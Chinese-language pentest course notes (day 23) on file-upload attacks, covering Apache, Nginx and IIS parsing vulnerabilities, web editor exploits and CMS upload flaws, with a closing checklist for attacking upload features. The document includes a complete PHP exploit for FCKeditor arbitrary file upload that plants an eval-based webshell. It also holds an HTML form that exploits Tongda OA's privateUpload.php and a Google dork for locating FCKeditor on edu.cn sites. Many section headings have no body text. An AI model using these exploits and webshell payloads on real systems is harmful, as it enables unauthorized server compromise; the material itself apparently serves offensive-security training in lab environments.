【文件上传】---解析漏洞编辑器安全---day23
一、几种中间件解析漏洞简要演示
1、环境搭建
2、Apache解析漏洞---低版本apache 2.x版本
成因:
利用场景:
3、Apache配置安全---vulhub
利用.htaccess配置文件
4、Apache HTTPD 换行解析漏洞 (CVE-2017-15715)
先用bp抓包,然后修改文件名后缀。
5、Nginx解析漏洞---vulhub
此处的版本是nginx/1.17.8
上传一张图片,在这个图片后面写上1.php,文件就会被当作php代码来执行。可以上传图片马。
6、IIS 7解析漏洞
解析漏洞原理和上面的Nginx一样。可以在系统中发现是asp脚本。然后直接找一个图片,在后面加上1.php看看有没有被当作php代码执行。来判断是否存在解析漏洞。
7、Nginx文件名逻辑漏洞(CVE-2013-4547)---vulhub
上传图片马,后面加上个空格。
在青丘的时候,以下面的请求来请求就可以了
访问即可。
二、几种常见WEB编辑器简要演示
编辑器漏洞手册:
https://navisec.it
1、Fckeditor exp利用
fkd2.6.3
①编辑器目录
可以通过扫描网站路径获取到
或者谷歌语法:
inurl:Fckeditor site:edu.cn
②漏洞利用Exp
<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
$match = array();
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
print $resp;
return $resp;
}
function connector_response($html)
{
global $match;
return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| FCKEditor Servelet Arbitrary File Upload Exploit |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /\n";
print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename = "fvck.gif";
$foldername = "fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";
$payload = "-----------------------------265001916915724\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[cmd]) ?>'."\n";
$payload .= "-----------------------------265001916915724--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";//print $packet;
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
print $packet;
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Job done! try http://${host}/$match[2] \n";
?>
使用方法:
把这个exp放到php环境目录下面。使用php.exe 对这个php文件执行。
2、ueditor漏洞利用
①界面
三、几种常见的CMS文件上传简要演示
1、通达OA系统
①界面
②漏洞利用
原文链接:
https://www.onebug.org/bug/76167.html
include_once( "inc/conn.php" ); //包含conn.php该文件
include_once( "inc/utility_file.php" );//包含utility_file.php这个文件
ob_end_clean( ); //清除缓冲区
$uploadFileName = $_FILES['Filedata']['name']; //获取上传文件名
$uploadFile = $_FILES['Filedata']['tmp_name']; //获取上传临时文件地址
$uploadFileName = iconv( "UTF-8", $MYOA_CHARSET, $uploadFileName ); //转换文件名编码,
//统一utf-8
if ( is_uploaded_file( $uploadFile ) ) //这里判断是否已经上传了文件,
//如果存在临时文件则执行下面语句
{
$pos = strrpos( $uploadFileName, "." ); //取文件名最好一个包含点的位置
$len = strlen( $uploadFileName ); //获取文件名长度
$extendType = substr( $uploadFileName, $pos, $len );//取最后的文件名
if ( strtolower( $extendType ) == ".php" ) //判断后缀是否为.php如果是.php则不执行,
//如果否继续执行下面的语句
{
echo "upload file fobidden";
exit( );
}
$localFileName = $_GET['fileName']; //get方式获取文件名 漏洞出现在这里
$ZLCHAT_ATTACH = "upload/"; //上传目录
$localFile = "{$ZLCHAT_ATTACH}/temp/".$localFileName; //上传位置,
//其中$localFileName是可控的变量
if ( !td_move_uploaded_file( $uploadFile, $localFile ) ) //这里就上传了
{
echo "upload failed";
}
}
?>
<form id="frmUpload" enctype="multipart/form-data"
action="http://192.168.56.139/general/vmeet/privateUpload.php?fileName=555.php.111" method="post">Upload
anew file:<br>
<input type="file" name="Filedata" size="50">
<br>
<input type="submit" value="Upload”>
</form>
<!--http://192.168.56.139/general/vmeet/upload/temp/555.php.111 这里是上传之后的网马-->
四、文件上传思路
1、看网站中间件
看是否存在解析漏洞
2、进入验证和绕过
看对方是黑名单还是白名单,还是内容和其他的东西。
3、看是否是CMS
有没有爆出的CMS漏洞可以利用